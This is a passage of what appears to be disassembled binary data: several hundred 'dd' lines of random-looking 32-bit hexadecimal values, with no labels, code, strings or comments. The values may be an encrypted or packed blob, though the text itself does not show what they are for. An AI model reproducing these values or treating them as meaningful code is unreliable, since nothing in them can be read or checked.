		dd 0A8204E4Ah, 0BA7FDBBEh, 81A9EA09h, 0CCFDB53h, 28395B0Ch
		dd 2C98F8FAh, 41400C5Bh, 0EA8029B5h, 0EA2873BCh, 46B8EBC2h
		dd 50ED375h, 0AE24E632h, 35AA9D41h, 0C26EE714h,	9DDD8C1h
		dd 0CF967703h, 854E6190h, 8832F2E1h, 0B3D7FA16h, 0A45F79B6h
		dd 0EE818F00h, 5C184543h, 0B404DB0Ah, 0EAE9AA6Dh, 0C2CA7749h
		dd 734975EEh, 98126A71h, 3E10BACAh, 0CE777F15h,	0D0305A51h
		dd 0B33D13A5h, 177AF39h, 1604ACC1h, 0E11F34E0h,	0B568A83Ah
		dd 0D12D8CFAh, 5B817F40h, 0CFCEB86Ch, 0F057DF5Bh, 0D5B24540h
		dd 1F5AD128h, 923AC180h, 0C3385E6Eh, 665058E5h,	88F5260Bh
		dd 0BC0775D0h, 0FAC9CBC5h, 8AD62028h, 0E9B33BE7h, 5C8002C8h
		dd 28B2F580h, 61FDA0E8h, 0B776827Eh, 0BCAAA9B4h, 73139ED2h
		dd 984790ABh, 1148CB60h, 51BE06D4h, 0B02A6306h,	54A73A55h
		dd 18DC15A4h, 0AC3B8205h, 47BC571Ch, 0F810A36Eh, 908BB00h
		dd 2CB92F46h, 39CB0BDFh, 56395DB5h, 2CB62ED9h, 7B99A22Ah
		dd 7E53B787h, 47BBD6A7h, 4982D27Eh, 5392E68Eh, 0C237EACEh
		dd 4392B8C4h, 0E6CD445Bh, 0BD1CB586h, 0FB94B0BFh, 0AF954CE9h
		dd 3B7DFE4Bh, 0E2CA14A5h, 3886D340h, 0F7602300h, 0A2BA52DDh
		dd 28B00529h, 0A21062E9h, 0A7C04EEBh, 8016AB68h, 204155E9h
		dd 0FBD5F16Eh, 0F309BA85h, 47C595Ah, 0BFFECF3Fh, 0E90B4ACFh
		dd 0F77A2757h, 92E4972Dh, 8824F44Eh, 0F08D7FDh,	43D24A3h
		dd 0FBFEC83Eh, 0A9F8B72Dh, 37159AC1h, 6FF7DF87h, 0AB29F88Bh
		dd 416BC85Ah, 53B1D159h, 2C8E8848h, 74AD1598h, 3868D839h
		dd 0ADE65A5Bh, 0E2845C89h, 1766A9C7h, 62BC5705h, 66C07ECBh
		dd 210636BEh, 0F3290F3Eh, 6BF641D6h, 565985D1h,	0B085B200h
		dd 0D030BD0Eh, 66C6635Ah, 41F1BA58h, 924EBA3h, 0CD7713F7h
		dd 12121DC9h, 3B7BB3E7h, 35ACD266h, 40AA9B92h, 80847CCEh
		dd 5D6957B9h, 5F6F6284h, 4A3AA5C7h, 5B25EAB7h, 40527EF6h
		dd 8011F1E6h, 480E42B9h, 21494F83h, 129D6841h, 0FCD3307Fh
		dd 5B1F7253h, 44D64E46h, 30E489EEh, 7A120BB5h, 9CB107EDh
		dd 95046146h, 54757CE2h, 3C0388C7h, 1E745038h, 0F0B2F68Ah
		dd 4BB776E9h, 8DEAB4AAh, 7C5FCE67h, 0DB9D5EE8h,	0E8E942BDh
		dd 5E5B5550h, 0E3C33C37h, 0C420DD25h, 3E5983EFh, 2393208Ch
		dd 227C539Ah, 9D77F46h,	4645FD15h, 0A496F52Dh, 7BB4165Dh
		dd 1A66EA04h, 0E5FF380Dh, 0C11B4E3h, 598F92EAh,	3FDB7F43h
		dd 0E1313637h, 57994B92h, 527B3E18h, 706845A8h,	24E74C53h
		dd 5F5AD754h, 851912B1h, 4E3B68DDh, 19CF9CD8h, 0B2078E2Fh
		dd 0D00DA7CBh, 9046A729h, 24AFD714h, 0D7B200F6h, 497E3619h
		dd 0C9A8E89Fh, 177917D9h, 4DE9C01Eh, 0E9F87A83h, 62FFAE12h
		dd 0C36EC4AEh, 0A1124B3Ah, 74EE31B2h, 0E9718801h, 84A75Bh
		dd 8FD9E9AFh, 0F0D2DD58h, 5089379Ch, 7D5CEE57h,	0F40EACEFh
		dd 1211B15Dh, 0BED9849Eh, 1985EBB3h, 25DEF96Fh,	0BB4D7CEDh
		dd 68E04BC8h, 19953CCDh, 0DFCADBF2h, 57A71A65h,	1209BFC4h
		dd 0E30DCF3Bh, 1968A804h, 531B4897h, 0B7DDE90Bh, 10B4602h
		dd 3DE8876Bh, 0F9BD5477h, 0DEB662BEh, 7C30B9DFh, 44FCDA51h
		dd 7F13BA04h, 7D7F4AF1h, 0D41A2554h, 66583C70h,	436A1D6Eh
		dd 42AF2696h, 4D44DF33h, 628F8FA3h, 0C055493h, 0C1123805h
		dd 92E112ABh, 0B78C483h, 59CA0913h, 0C36CF4AAh,	610D630Eh
		dd 0F287FE4Ah, 0BF7F7FFBh, 0EF13A007h, 0B7077D9h, 0EC5D0882h
		dd 6A09F908h, 800ED6FDh, 41325F3h, 0BBD028EFh, 0D8E48F99h
		dd 66E91752h, 531149DDh, 16C54C75h, 0BA379768h,	0F918C429h
		dd 0E6495ECAh, 325104D5h, 93C2562Fh, 3830A7Ch, 35933BF0h
		dd 0CD74C1B0h, 50CFEC25h, 0F3AD34C1h, 132FC82h,	0B3535051h
		dd 5BDD8861h, 0F612E0CEh, 0FD863ADDh, 5266DF0Bh, 18142277h
		dd 77D80983h, 0DDE9B699h, 59C6AC79h, 91E120A4h,	0B10954B0h
		dd 0D076F92Ch, 85855F46h, 0F0B6F827h, 0B362D568h, 51F2C9CCh
		dd 2F0EF320h, 2F5EDCE9h, 2B96F5ADh, 7D9A3191h, 0C36E6199h
		dd 0B9CB88A7h, 681811F6h, 9D592F9Eh, 616082BCh,	0E42F023Bh
		dd 0FC6A7815h, 0B3CC4AE5h, 5DA613B3h, 58E288EFh, 0B6EC71B7h
		dd 0EAF1C35Dh, 0C14B1C7Ah, 0D60E1EAFh, 1CCA091h, 83BA579Dh
		dd 0B00B0278h, 0FF7F3B38h, 5543B50Fh, 5CAEF6E9h, 0A4EF0128h
		dd 8B40FEB7h, 0CB5D8ABBh, 0B0C4015Bh, 31810B59h, 0D0F232F1h
		dd 636C07E5h, 0F1C02785h, 4CC068E1h, 0DD02B140h, 89EB4A87h
		dd 0E581DF76h, 296A2C52h, 2F0808E6h, 902E84Ch, 0E95A1C57h
		dd 9F5E7077h, 0C9EF1D56h, 1907872h, 845607BBh, 24EBC161h
		dd 0FA05F1C1h, 0DE29CF79h, 0F6B030D7h, 20FA460h, 0E9F70962h
		dd 24D2E8ECh, 0FD824A74h, 86651C81h, 9C146E2Bh,	56DE254Bh
		dd 4668E0A7h, 1C60703Bh, 3527C9D8h, 0F61F60B8h,	0B21ECCDFh
		dd 0CD895516h, 0D4F027BEh, 51C5FAA1h, 847CE6AEh, 0F2D12999h
		dd 0A8706659h, 99344A09h, 0D496889Bh, 0FFD12FCCh, 3B632D80h
		dd 0B85F60B7h, 1F5FBC83h, 22A00E66h, 0B0C38984h, 5590DEE0h
		dd 0CFF4D820h, 0DFF0B650h, 0ADDA3D8Ch, 322DBFC1h, 8C0FD40Ch
		dd 0CDCF1050h, 0C85F5E49h, 0C25C4219h, 38E87509h, 53C0461Fh
		dd 0DA12EDF2h, 9E2EC6Ah, 39856771h, 45960800h, 0E89F7323h
		dd 0F4649067h, 9B1CC31Ah, 0EFBC3F0Bh, 7D21F092h, 37B99A98h
		dd 0E1255E38h, 0DAA1CBA6h, 926B62C6h, 427EF92Eh, 4675BE68h
		dd 70517903h, 37AF26B0h, 0FF10C7h, 1DCE815Eh, 957CFD6Bh
		dd 0EC82ABF4h, 0C03E666Ah, 7AFFCD5Ah, 7EE9158Ah, 0FD12D7EAh
		dd 721AB333h, 652D77C0h, 0A181636h, 6853F801h, 13302408h
		dd 0A4B9AC83h, 96863FEDh, 842898D7h, 0A720B5C8h, 615B5BC1h
		dd 3CF9BB6h, 75D2B251h,	86FCDDE6h, 0F610D465h, 94BF0BC1h
		dd 914C902Fh, 4D7A0F03h, 0F0FC7309h, 875703B2h,	0E960B859h
		dd 1F649FCBh, 0E2430C04h, 6FD129F8h, 353AF6B5h,	0C16C88B8h
		dd 0BFE85544h, 0C616DDD3h, 0E96AC3BEh, 3A9A9FCh, 7E4E92E2h
		dd 7804DF15h, 6503F390h, 49417ABDh, 59055CEEh, 0FC47335Bh
		dd 577F10B9h, 984B9A50h, 7FA48470h, 0BCA5E5Bh, 437EBA15h
		dd 80F962AFh, 0BF47C62Dh, 90FAF206h, 0D408823Bh, 0C9E90694h
		dd 0BCD39B61h, 59E6C3FAh, 2E7CC6E9h, 0D788BC21h, 0E0F0FCC9h
		dd 0E8749F6Fh, 48514F70h, 0EF015470h, 797A2D7Ch, 0C7C2DB29h
		dd 1E5D0886h, 21016E1Ch, 8AF7ACBFh, 2AC10820h, 5F452709h
		dd 83D9F8FEh, 0F5B01008h
		dd 0DEC77F1Ah, 0B8A519F6h, 0FF3FC4BEh, 3C841387h, 0B57520EAh
		dd 80E2B671h, 9CBDC639h, 8C397FEEh, 0C979D7E9h,	6E0145C2h
		dd 6CD4DDE8h, 0DB3FBCD0h, 0C8F231E0h, 6A7BBE13h, 7EC7E855h
		dd 0FF05D992h, 0C1315382h, 92781B42h, 610E459Dh, 65C51AE9h
		dd 0B2B12F5Dh, 12DB2D31h, 373492D2h, 0DAC8063Fh, 192DD97Dh
		dd 2054D239h, 553AACFDh, 2116A668h, 1A6DFEC6h, 66C087E9h
		dd 0D77D9ADFh, 0B94915D1h, 0D23CE149h, 0B7168928h, 64C2D24Bh
		dd 0D38222C5h, 0E07D342Fh, 0E253BE7Fh, 0B0785A95h, 818016B2h
		dd 58BF18C5h, 0CED78BAh, 50910113h, 0C38780BFh,	0F0271DCAh
		dd 0EF085F05h, 0C8591308h, 0C5D8B01h, 0C7E9C271h, 84555BD8h
		dd 0F8634F68h, 0D10AC674h, 0DC5C4988h, 40D85028h, 80C666D4h
		dd 220B07C8h, 0EC3F670Ch, 0F3299934h, 5503EB10h, 4C0ABDF0h
		dd 0E53FC1FAh, 45452603h, 0EFEB4F19h, 48EEBC3Bh, 88053072h
		dd 0B301DB1h, 0CB2858E1h, 0B5688901h, 80907F2Bh, 1363B353h
		dd 4487F380h, 1FA64A66h, 720CBB43h, 52E89D84h, 0F32E9C3h
		dd 5A582204h, 0B8EA5C31h, 4D84B63Ch, 114F334Ch,	9D6A091h
		dd 3712FE6Ch, 0BFC77E85h, 9ABCA117h, 6B89B1h, 90F6D12Dh
		dd 0A0D79D19h, 106852EBh, 0BA7C7870h, 2FE17CD9h, 0BE7E1F91h
		dd 510B0501h, 77D426F7h, 546E054Bh, 1D2DE829h, 3D116807h
		dd 7303055Dh, 0D8017433h, 680702EDh, 0BB713841h, 8208699Ch
		dd 4DC60279h, 7D413254h, 77D22E8Ch, 0BB227F90h,	1C7F5621h
		dd 3EB3EC8Dh, 10DA70Dh,	0A0065DEAh, 0F8930B52h,	0EFB6804h
		dd 8ECACCABh, 0E1EDD64Ah, 0BDD0FBD7h, 0AA22C268h, 71F3405Ah
		dd 0BFA1C0A8h, 7A986A12h, 9F60D9F6h, 4DFEBE16h,	2142163Bh
		dd 694A04F3h, 1BF01615h, 0CCB5818h, 0E6831FD2h,	1FC56801h
		dd 20DA6A90h, 0F64EDD6Dh, 4BFCFCA4h, 919214Eh, 52E7E9C2h
		dd 0D97E58FBh, 0C510F04Fh, 0E85534F3h, 0D3C88185h, 4A2DF458h
		dd 0A03DAA1Fh, 0D124C86Eh, 0C435899Fh, 0D6FCC2F8h, 2603938h
		dd 65126FE7h, 0A2071708h, 15642042h, 0E959C3EEh, 3E12BE8Bh
		dd 2CAED029h, 0E8414E1Eh, 279D4120h, 4255DCD0h,	5FB4CA32h
		dd 40B74E44h, 0B71B66h,	6850556Ch, 4A7B62B4h, 7914CBA1h
		dd 75EB25D8h, 68579F60h, 944C9C09h, 4916DF40h, 5460EF05h
		dd 0CE0433C6h, 0A2BB3E08h, 60B85B8h, 0E8833094h, 0DC91C92Eh
		dd 0C2DD4E02h, 7B30C1DAh, 4399B7BFh, 0FB081E3Ah, 434F83B9h
		dd 40896970h, 0EFC13B4Ah, 14C10A3Dh, 16075DAh, 5245371h
		dd 0F214C27Eh, 9592007h, 567F14EBh, 0F77305D0h,	0F55AC1BFh
		dd 2F68F785h, 0A5AC610Ah, 0BDE82F7Ch, 0E0D01685h, 766EE0Bh
		dd 0E0BE0806h, 3BE9CB44h, 945590C2h, 0F4BA2F3Ch, 6D90CE44h
		dd 9432340Ah, 2103B764h, 0B03D276Eh, 1F696DF3h,	12C15A5Ch
		dd 743D0905h, 7B95E078h, 28BBE0A5h, 675EBD36h, 2EE3EC80h
		dd 35982752h, 0C3060B72h, 7B5F4BBEh, 4FBA146Ah,	0B14EBB7Fh
		dd 6EEE2F44h, 0E956056Bh, 0C8FADAECh, 94BE6511h, 42DCBF02h
		dd 0CFD2E085h, 5A5B25D4h, 7202B35Ch, 0DF3427E7h, 51E9D602h
		dd 507EEA4Ah, 6D1BD820h, 0B0AABC1Eh, 4AF9DB40h,	3E1FF9D6h
		dd 0CE895418h, 7561A70Ah, 0A63EE943h, 8981D39Ch, 4FBF68E7h
		dd 0BB403E33h, 53A5E22h, 0B8CF1796h, 0B829C4D6h, 8ECC000h
		dd 88F4C4FEh, 4BD4452h,	40CF46BAh, 99CFB4AAh, 5C9B2104h
		dd 0F287F029h, 978DA028h, 0C1D2385Ch, 396E1067h, 83E2CDE4h
		dd 287E0C5Ch, 1AE22871h, 83501897h, 19F68CC6h, 75FFEFFEh
		dd 45C4DD9Bh, 0BE97EA53h, 35D4D3D7h, 0B87BF0h, 2EE25FD8h
		dd 2F377125h, 3AED0C7Fh, 3F25345h, 7D5E9FC2h, 0AFEAF148h
		dd 5C5BD80h, 102F23Dh, 7BABE1E8h, 0BD0CBA96h, 8641C6CAh
		dd 849E66C7h, 0ECA4A54Dh, 0B3455E3Ah, 15939F33h, 52BF0B53h
		dd 0B0E1EF1Dh, 5B8AB620h, 2C7E2CF2h, 4A81649Fh,	0CB1E925Dh
		dd 80A2897Dh, 46913A92h, 9BCA0C81h, 66AE7A12h, 4B54FD40h
		dd 258FEB58h, 0DCBBE90Bh, 25B812AAh, 545D68F7h,	95DF955Eh
		dd 5CDAA13h, 79072A6Ch,	5BD8FB52h, 0E97300DEh, 11C1BA68h
		dd 31582D41h, 78A0104Ah, 90C98101h, 0D849C476h,	0F717FDF1h
		dd 71FEEBE7h, 7B5FE9D0h, 68127F8Ah, 2C2FB96Bh, 568B2359h
		dd 8475754h, 0E90B2990h, 0CEFDDB3Dh, 16681246h,	732DFF63h
		dd 6BDB43Ah, 5497A199h,	17D0D508h, 0EC8DBB5Fh, 0B985D8F4h
		dd 0DD50C9Eh, 25419DA7h, 1C8DC16Ah, 0A5C22C3Ch,	0A92A56E1h
		dd 7E82B536h, 2D137C28h, 97F93E5Dh, 68788B5Ch, 49279440h
		dd 0B8F401F0h, 0E0151E62h, 0CD7FE9EEh, 404CBEA4h, 0CC9A21F7h
		dd 0F829BD25h, 0E9EA0C68h, 0EE21B505h, 98A7FABFh, 0CF472F43h
		dd 830F04F2h, 6B433439h, 7D9D4236h, 42167DF0h, 0C9EACB88h
		dd 28B23BADh, 1331BAD3h, 8F752D68h, 6639AE3Bh, 0CF67331h
		dd 0DC9A9C72h, 0CA99DBBFh, 0EFB213D4h, 0B7D22CD8h, 40100772h
		dd 0EF04FEB9h, 0C09971C1h, 7A19C71Ch, 161D6024h, 9DF85218h
		dd 0BB7883BCh, 4CFCD259h, 77BE164Fh, 4F1ACB13h,	0B889DF9Ah
		dd 0A7EBEDFFh, 0FC2DCFF6h, 1EE7C3E0h, 74EF3B27h, 0B65A9614h
		dd 867E135Dh, 4A139BBAh, 31F730FAh, 5D3F6E46h, 0CAEECE8Bh
		dd 0D8438B69h, 1D90095Dh, 805E7D75h, 0C46BB487h, 404E8799h
		dd 0E9E186C7h, 87016644h, 0ACC26ACBh, 20EAD6D3h, 5B74B6C3h
		dd 0C3CD2232h, 3F4AD7C1h, 0C5144C77h, 8DE2BF29h, 0A179E053h
		dd 73A10DFh, 47522C2Bh,	0A8EE11B4h, 0EACC4A74h,	22B84154h
		dd 73E3096Ah, 0C3AD870Eh, 1AE86EE1h, 5BEFD8DBh,	0B43A4AC8h
		dd 5F0B1E2Fh, 8452732Dh, 0D8EB3614h, 76407C7Ah,	44B04Ah
		dd 7D965E13h, 0AF32BF57h, 0E257B3A2h, 0BA1D69Ch, 0E66080E9h
		dd 461778BAh, 0F2C07252h, 16232429h, 0BB0170E9h, 6E39220h
		dd 2CA03B5Ch, 76E7CB03h, 96041611h, 2B287D36h, 8931D8B8h
		dd 2B02595Fh, 0B4AE5565h, 809FC6BFh, 5D5855AFh,	2C77421h
		dd 1EBFB951h, 0D5E106AAh, 0C354028Eh, 0A7BDC145h, 982B7749h
		dd 3D457FB5h, 223DBF3Bh, 5E326042h, 9E7DE983h, 0BBC64F5Fh
		dd 0C5FC0E17h, 424DE516h, 736668BCh, 12126655h,	0B2C65B72h
		dd 39407B5Dh, 7E120B35h, 0B17C1E1Fh, 7F5E6F05h,	0E98A03BEh
		dd 6D020ADFh, 0E43734E1h, 284DC860h, 59B31308h,	0B1521031h
		dd 26449E04h, 0F304903Ch, 0C571043Fh, 0E9A9E097h, 2784BD71h
		dd 0ADCBEF05h, 0EBB9FC64h, 40F97AC8h, 0EB78817Fh, 24512916h
		dd 84950AFh, 0B9135D37h, 0D2795075h, 85F1BF0Ch,	4010E26Dh
		dd 0FD011D8Fh, 0FE97E1CEh, 5AB65D25h, 51050DD2h, 0EFB7FEB6h
		dd 0C935F24Bh, 7D2BC265h, 0BE80E07Bh, 6480F122h, 96E42FE9h
		dd 0F99D173Ch, 0C83C67Dh, 0A45E4A98h, 0C1C41A90h, 2E6C7B59h
		dd 94DF7A21h, 0EA252301h, 5EBE647Dh, 9236E759h,	0FD969BACh
		dd 0D02902C5h, 0BACA2FE9h, 0CB0FD558h, 0F2C708E4h, 894D5EA9h
		dd 0FF7CE852h, 7DEFB84Eh, 0D515941h, 0BAE0B7CBh, 4AF3A10Ah
		dd 23E0005h, 129C730h, 0E6AF0082h, 0F435A23Ch, 3EDA2FBh
		dd 80BD5508h, 482BD045h, 0C05E1C50h, 54986897h,	0AB6DA4B5h
		dd 9A8C7DD8h, 0EA5B4E67h, 1D69B8Ah, 4DE90285h, 594882D3h
		dd 0EC712768h, 4FA50987h, 0E5A49F6h, 7474A20h, 0AD01BEBBh
		dd 9B1EA275h, 208246DDh, 12E7FA5h, 0CBE9CAh, 82062DCBh
		dd 29ECCD4Bh, 2A58250Dh, 6289BD88h, 6C29C8B5h, 894D535Fh
		dd 0A2D9B8FBh, 16E77072h
		dd 0AEFEF499h, 42FA058Dh, 38A2F5E9h, 6655F218h,	57E50942h
		dd 7D4454h, 157DBB72h, 0A8215E34h, 0B7ED0080h, 0E9AD2E91h
		dd 0FBC1653Dh, 1DE4EBE2h, 81680452h, 0F931984Eh, 0B49110ABh
		dd 5D5FB84Ah, 0B1BAA4AEh, 77FF2126h, 0C330127Eh, 0E97130EBh
		dd 26C32A5Eh, 8210EB80h, 496841C3h, 5EF09589h, 3505657Ch
		dd 0D514F815h, 44BE5A3Ah, 523B36BDh, 7EF3BC43h,	931A2732h
		dd 28580D83h, 0F70B5616h, 50F9CDDDh, 600D7091h,	0E6851EAh
		dd 0E5295065h, 1D376990h, 7BF16141h, 347B3CA7h,	0BF6BB492h
		dd 60864004h, 0B3F1C01Eh, 7CCB8076h, 10E3D03Fh,	0C340B76Ah
		dd 0DC0D1761h, 0AE3B1250h, 9C090F53h, 19468376h, 0A380B401h
		dd 60C229C4h, 505B342Eh, 54B71FA1h, 0E0E51CD5h,	0D1FB161Ch
		dd 96AB4CF4h, 0E912403Ch, 21EABFB7h, 6BEF7AF5h,	0F6B96331h
		dd 0CF68BC89h, 78D14B69h, 2DAD0162h, 78B47C1Ch,	0A4283FEDh
		dd 9F5FC34Fh, 0B5D061CAh, 1F895E2Ch, 12E4A0BCh,	0F60DC380h
		dd 9BFE4BC7h, 81872088h, 0E23A8BB9h, 0C5688207h, 0EC4C7D0Eh
		dd 0A508E329h, 0CD0CB102h, 0DFBAE253h, 0EE660A04h, 8340A4CDh
		dd 98932352h, 951E7517h, 85F8CA99h, 5F09684Bh, 0FA6834ABh
		dd 67EADA94h, 0AAF6C2A8h, 92A06EDFh, 0D6F470AAh, 0BA04AA1Ah
		dd 0E310611Dh, 221B0A0Bh, 5DEF0382h, 1049C971h,	5F9668CDh
		dd 0E1173127h, 21590094h, 69A2F0D3h, 0D357E4DBh, 0D825BF13h
		dd 0D1413877h, 0BD890E6h, 7EF0A9B7h, 0D42DF874h, 334458D0h
		dd 759DE8B5h, 2FE795B0h, 0AAB52E3Fh, 393F6884h,	0D2C287ECh
		dd 9055FED6h, 862B38A8h, 731ABB06h, 951E4664h, 97F39EDDh
		dd 9498BBF5h, 0AC3EF1FCh, 0CC2F3F3Ch, 0A7B4D1F0h, 44299A89h
		dd 0AB6812C7h, 13E31Dh,	227565F9h, 2C4EEC05h, 0B657AAh
		dd 418F702Fh, 0D075F681h, 200A61EFh, 660B2D3Bh,	0DD15CA24h
		dd 0C5E29D60h, 2BB862C0h, 0BF6B6D48h, 520908Ch,	15222D04h
		dd 12AED32Ch, 3732BAE4h, 0CFDC3A3Ch, 4249E7A4h,	1A9CF755h
		dd 0DE09C59Eh, 81B15CCAh, 3F6644C0h, 0D77B89h, 43622990h
		dd 0B1DA32E9h, 0D9FD5474h, 0FF6850CBh, 60E97A54h, 8EF23958h
		dd 223C6FB9h, 4C2F5168h, 1BCB2010h, 9695048h, 9F006E2h
		dd 9E07F5B1h, 5A64CCFh,	857EC60Dh, 0E73BFD2Ah, 96FF95FAh
		dd 12E5ABB9h, 0C363D2D5h, 3D187E5Dh, 8B88DBA4h,	0D1045156h
		dd 36A1C283h, 0E9894354h, 81D82012h, 92A40E7h, 0EFC167E8h
		dd 6EF79E80h, 0E9F82932h, 4AFC7831h, 3CE8C0B8h,	4DF9D28h
		dd 4A3C2BDh, 5F163C88h,	0E9C220E7h, 927D63D4h, 0CDF300B0h
		dd 13396520h, 81CF8747h, 6EBABB2Bh, 410A58CCh, 0F71A7B73h
		dd 0B0788285h, 371475C7h, 0A865BC2Eh, 577FB062h, 68842D54h
		dd 0CCAC0D16h, 8443FDC5h, 0AA3AC598h, 4EFBB56h,	19D138D2h
		dd 0D3E1CBFAh, 8977ED3Bh, 0C6EC2FE0h, 9AB2D563h, 0F4664DECh
		dd 28E8680Bh, 0F42EDDC6h, 0CF928ACBh, 4363301h,	34F4670Ah
		dd 7EEBA4E4h, 32262E39h, 6D2D00AFh, 0CE9AFB7h, 0F0E2C24Bh
		dd 0FECE8682h, 258EB6DFh, 19E09BE9h, 31005F25h,	7C2D2E70h
		dd 988C34F8h, 0E64B4B1Bh, 0E0137A5Fh, 878CFEFBh, 7AA2416Dh
		dd 647BC381h, 6169973h,	908DAD66h, 9C05790h, 0C4EC46E9h
		dd 0B551F0D3h, 0E335FA00h, 684E371Dh, 0B07F24A1h, 23412872h
		dd 0F8C2A12Bh, 9DC45144h, 98A3506Ah, 1C28010h, 68C8BF0Fh
		dd 0F14D70B1h, 9D02C360h, 0EDE9632Fh, 0F6B2D6B0h, 0B42559B0h
		dd 3C4720A5h, 0B530BB13h, 58209ADAh, 0F278E18Fh, 0B1586C27h
		dd 0AD96DD97h, 11A9F59Dh, 5923FC05h, 786D9A36h,	0A091A5AFh
		dd 0C93A5576h, 9FC8610Eh, 0A53F59B5h, 0FDEF8905h, 4BEA0EBBh
		dd 89F5D74Ah, 5F2CDA99h, 0A37A85DBh, 43E862F6h,	160500DFh
		dd 0FC4E03D0h, 0ACEADCC4h, 0C317B432h, 0CAABE212h, 12EA5AACh
		dd 0CBE0AA3Dh, 5C69D5Eh, 5856B20h, 9101A1BBh, 75368111h
		dd 2B09C124h, 0DBF7B5C1h, 0BDC87670h, 5C2FFC9Ch, 424DD666h
		dd 0A075AF61h, 0D116C27h, 0A7314A4Eh, 0C0200B35h, 20D91EFEh
		dd 75981B76h, 7FBEE627h, 16F8C04h, 0D4885958h, 0E982E479h
		dd 9AA75DB2h, 7A2E0007h, 5650D8F7h, 67B53BBEh, 1B62C37h
		dd 0C669913Ch, 3B953E29h, 7DF1B60Bh, 0D28ADE4Ch, 61AAD97Dh
		dd 8B5FDC68h, 1E66F989h, 0BFABFCA6h, 93EECF8Bh,	68535000h
		dd 396B74FCh, 4F99F5Bh,	0BA7E40Fh, 0D1227FCBh, 70091AF8h
		dd 7F76B7A0h, 2C1DFD39h, 30094FA0h, 0F8A2C4EAh,	0B77A9AD1h
		dd 5FDA66D6h, 0E9413CDEh, 912E20F7h, 72015963h,	0ADCB3DB4h
		dd 0E2135CFEh, 0B2C0535Eh, 9C0D1D8Ch, 0B90BB56h, 515DA700h
		dd 326B09B9h, 95D45433h, 0D78E1282h, 0D789F5C0h, 169C5602h
		dd 0AE40A20Eh, 0A59877FEh, 0F3F2630h, 94F2761h,	0F3B6E1BBh
		dd 255F7553h, 0C9F1A83Ah, 51E6F489h, 5E39E52Ah,	0D6CAC1F2h
		dd 0D8145323h, 1D0217E2h, 0B5E93897h, 491B558Dh, 0FBE7C3FAh
		dd 13178526h, 12A0DAEFh, 0F2B14A68h, 87A82678h,	5537E980h
		dd 0C07ABC7Dh, 7334D27h, 48CF8102h, 0C221DC62h,	5E25C1DEh
		dd 571E806Eh, 665CA125h, 463B051Dh, 32C0010Fh, 0CF0C4227h
		dd 70D07AF4h, 0C6C302BFh, 6F680011h, 5D492B77h,	0F91C503Eh
		dd 18CD944Fh, 377BECE5h, 0F444AFh, 0E272D4B9h, 2064952Ah
		dd 2FD2C0FEh, 2C7917A9h, 0A556DE72h, 4D0C96F6h,	0EF0410ADh
		dd 0DE401C9h, 0B1DCB5F0h, 0F6954FA8h, 0C3C87B7Ah, 7BBF1A68h
		dd 2572708h, 0FEF201ADh, 40505B91h, 6F00A255h, 66BF5BB6h
		dd 13756822h, 875DEF31h, 8118C449h, 4CA049h, 5C06C180h
		dd 0C2183730h, 72B9B6BBh, 0C50ADD17h, 0F1D121Fh, 0D178FB24h
		dd 4EAA98EBh, 5F5FFCA7h, 33026180h, 3FE9F19h, 0B0E86513h
		dd 0E66859C1h, 3633A70h, 0CF3A0555h, 0C22F1E6Ch, 0F6001434h
		dd 7AEEC0D6h, 0BFF14F06h, 5F506472h, 39848065h,	17FE6B10h
		dd 0AD78A49h, 4077F768h, 7C06DDBBh, 0B7019E40h,	0EFD29EC2h
		dd 6861EF94h, 365323D2h, 0E9D70954h, 4DD685ADh,	15AF596Bh
		dd 3503B5D5h, 18436EA6h, 6193AAh, 137A3044h, 4AA4EB91h
		dd 9020971Fh, 0F7ED2003h, 4E8C001h, 0C380402Ch,	4024E330h
		dd 9F24683Eh, 6F8BFB55h, 7F6CD5DAh, 1C4BA4F6h, 0D281D6BCh
		dd 307FD977h, 261D18ACh, 0F581413Bh, 23C12D6h, 3E680C87h
		dd 0E580DF39h, 786A081Ah, 211BC5F8h, 0C102E9F7h, 9863FEBFh
		dd 206F81C0h, 830E22FDh, 0FC77FF53h, 8F0FB4E4h,	0DC86B847h
		dd 0AFE11A13h, 3EDA2C29h, 0FD82A7F0h, 6A5653A0h, 70FA281Ch
		dd 94B2B84Fh, 5FF65B27h, 0F5E5C2h, 32B96855h, 2CEB2BE1h
		dd 0D9BF5D1Ch, 989EA9Eh, 0A981AC2h, 0D006ACB5h,	68CD80E5h
		dd 5DE9170Ah, 1FBB2C8Bh, 25BD6C4Fh, 0EE42E0D6h,	4EC28380h
		dd 19949102h, 0DEAB3D1Bh, 490826CBh, 927060BFh,	0D3659F64h
		dd 70F3A633h, 566895EDh, 23F803BFh, 0C5077F58h,	2DA45452h
		dd 2EB0411Bh, 0E43E5AF5h, 0C79959C2h, 18973E08h, 0D4683551h
		dd 1BF20A5Fh, 7417BA81h, 0F90C201Bh, 0DB85104h,	0D882DDF7h
		dd 70590534h, 2AD9F3B1h, 427F4D27h, 42A5090Dh, 5E747561h
		dd 5D0559C2h, 109A156h,	18E884C8h, 0B84FAB12h, 7408277Dh
		dd 811DE663h, 1880400Ch, 6C34F677h, 959E99E9h, 3F1D427h
		dd 0D148D0F7h, 18E335B0h, 89307A01h, 0FFA1E9C7h, 0B173477Ah
		dd 2D700C9Ch, 0EC58EE40h, 90A24B32h, 2F3B8446h,	0DD4A697Bh
		dd 8E6F7DB1h, 297A10BBh
		dd 8FE9E04Fh, 5F925B16h, 6A62BB02h, 0C28E8013h,	4E29CDB3h
		dd 5F41FEE0h, 13317848h, 18D2943Eh, 17B51C08h, 92393C3Dh
		dd 8153DB2Ah, 19A54106h, 0B9C906Dh, 2B496203h, 3A489401h
		dd 6075FE52h, 0BD085334h, 884FE9D1h, 0ACB80121h, 2A90C1F0h
		dd 0EA4A07EAh, 17C3F35Dh, 0F2EFFF2Fh, 0BFC8985Eh, 3B5A6A69h
		dd 8BDD63BAh, 16CBBBDDh, 9555562Dh, 256FACE0h, 0BEFD018Bh
		dd 0AC88D371h, 41BEE53Fh, 0CAE953BDh, 8E6E2FECh, 0E9545303h
		dd 410F756Eh, 0EC0AA9C1h, 17570C20h, 0F0E07A5Dh, 0D85FF7AAh
		dd 0E96746FFh, 0BA4B45E4h, 0FA7185EBh, 5AA99824h, 0AB72D54Bh
		dd 0D8D26BA7h, 0D0BCE2B2h, 104FC2Dh, 0EC2F2EC9h, 6462F563h
		dd 0C512BBB0h, 5509B675h, 5F489h, 5D71E6BEh, 0F6008179h
		dd 438BC9BAh, 0C0FDCCE9h, 3D2EBB20h, 0F717459Dh, 9FAD1D3h
		dd 2E293814h, 856F427Eh, 0CFFD8831h, 5407F200h,	0D029E576h
